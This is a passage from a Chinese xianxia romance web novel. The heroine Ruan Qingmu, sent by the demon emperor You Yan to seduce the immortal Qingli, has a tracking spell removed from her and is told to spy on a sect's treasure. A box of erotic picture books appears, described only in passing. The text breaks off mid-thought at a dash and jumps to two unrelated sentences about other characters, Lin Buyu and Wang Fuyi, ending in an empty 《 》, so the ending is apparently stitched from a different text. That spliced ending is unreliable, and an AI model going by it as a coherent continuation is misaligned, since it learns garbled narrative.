“疼也不知道说。”风宴手指点了下她的脑门,“难受了也不知道哭?” 阮清木不语,心想之前害死那只猫的人不就是你游彦,还装什么装。 没想到,下一瞬,游彦臭着脸,扔给糖圆几颗灵石。糖圆小心谨慎地凑过去闻了闻,见没问题,才开始大快朵颐,低着脑袋一顿猛吃。 “谁害你受的伤?”游彦问,那日她醒来前,残鹤便检查过她的身体情况。原本断了的经脉完好如初,甚至更胜从前,修为更是上了一层楼,现如今能伤到阮清木的人大约不多。 阮清木不愿意和游彦说风宴的事情,便随口道:“你那个清离仙君呗。” 一听到这个名字,原本正埋头苦吃的糖圆悄悄竖起耳朵。 清离?不就是风宴那个狗男人吗? “你被识破身份了?”游彦不屑道,“我是让你去勾引他,但没让你去送死。” 阮清木无所谓地耸耸肩:“暂时应该还没有,不过我想也快了。我是去听你的话勾引他,没想到人家就是不吃我这套,我没办法呀。” “别动。” 游彦突然按住阮清木的手,强硬地将灵力探入,游走一圈后,才低沉开口:“阮清木,你被人下了追踪术法,知不知道?” 追踪术法? 阮清木吃了一惊,懵懂地摇了摇头,任由游彦的灵力帮她解开这禁锢。等游彦松手,阮清木的心中已经有了答案。 在她身上下追踪术法的人,除了风宴还能有谁呢? 她苦笑着,干巴巴地对着游彦道了声谢。游彦看她心不在焉,心中暗自攒了一肚子的气。他重重地将茶杯放下,站起身,又恢复到往日冷酷的模样。 “现在还不是你该死的时候,把自己的命留好。”游彦没看阮清木,面容冷峻,“先不必去勾引清离,你手段拙劣,他又情况特殊,免得白白去送死。这些日子,你先想办法去探听天月宗秘宝的消息。” “好。”阮清木当即顺杆往下爬,“多谢魔皇陛下体谅,我会照顾好自己这条小命的。” 游彦轻哼一声,正要往外走,却见一侍女送了一匣子过来,说是红莲让她送来给圣女的。游彦瞥了眼阮清木,抢先打开匣子,随手从里面拿了一书册出来,翻开之后,一些不堪入目的污秽画面映入眼帘。 阮清木看见游彦像是被书册烫了手一般,飞也似的将书扔了回去。尔后,他又佯装无事地咳了一声,评价道:“你勾引人的手段果然是拙劣,上不得台面。” 说完游彦便离开了,只剩下阮清木和那个侍女面面相觑。阮清木不知所以然,好奇地拿过那本书册,翻开一看,耳尖忍不住发烫。 原来是春宫图,怪不得游彦又忍不住出声嘲讽她。 阮清木往后翻了几页,面色一热,啪的一声合上了。前几页的姿势她和风宴都用过,所以在阮清木看来还算正常,但后面那些…… 实在是太超标了。 侍女离开后,吃饱喝足的糖圆犹豫了一会,还是跳到阮清木膝上,问她:“娘亲,你为什么要去勾引那个狗男人啊?” 阮清木怔了怔。 狗男人?是指清离仙君吗? 阮清木想了几秒,才后知后觉地意识到—— 兴师问罪的架势摆的很足,被扯开的林不语也是一懵,随后才反应过来。 林不语和王复一相视一眼,默默地往后退了一步,给这位大小姐留出吵架战场的空间。《 》